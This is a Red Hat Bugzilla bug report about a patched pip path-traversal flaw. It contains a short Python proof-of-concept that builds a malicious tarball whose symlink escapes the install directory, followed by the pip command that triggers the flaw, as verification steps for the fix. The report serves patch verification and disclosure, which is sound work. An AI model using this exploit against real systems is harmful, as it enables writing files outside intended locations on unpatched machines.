Note: This bug is displayed in read-only format because the product is no longer active in Red Hat Bugzilla.

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PR: https://gitlab.com/redhat/centos-stream/rpms/python3.11-pip/-/merge_requests/8

For verification:

Run this script to create a malformed tarball:

"""
import tarfile

def mkinfo(name, **kwargs):
    tarinfo = tarfile.TarInfo(name=name)
    for name, value in kwargs.items():
        setattr(tarinfo, name, value)
    return tarinfo

with tarfile.open('evil.tar.gz', 'w:gz') as tf:
    tf.addfile(mkinfo('./pyproject.toml'))
    tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
                      linkname='../../../../../../../../tmp'))
    tf.addfile(mkinfo('./tmp/poc'))
"""

And then run python3.11 -m pip install evil.tar.gz

On an unpatched pip the evil.tar.gz will install successfully.

On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.

Verified on the PR.

Since the problem described in this bug report should be
resolved in a recent advisory, it has been closed with a
resolution of ERRATA.

For information on the advisory (Moderate: python3.11-pip security update), and where to find the updated
files, follow the link below.

If the solution does not work for you, open a new bug report.

https://access.redhat.com/errata/RHSA-2023:6324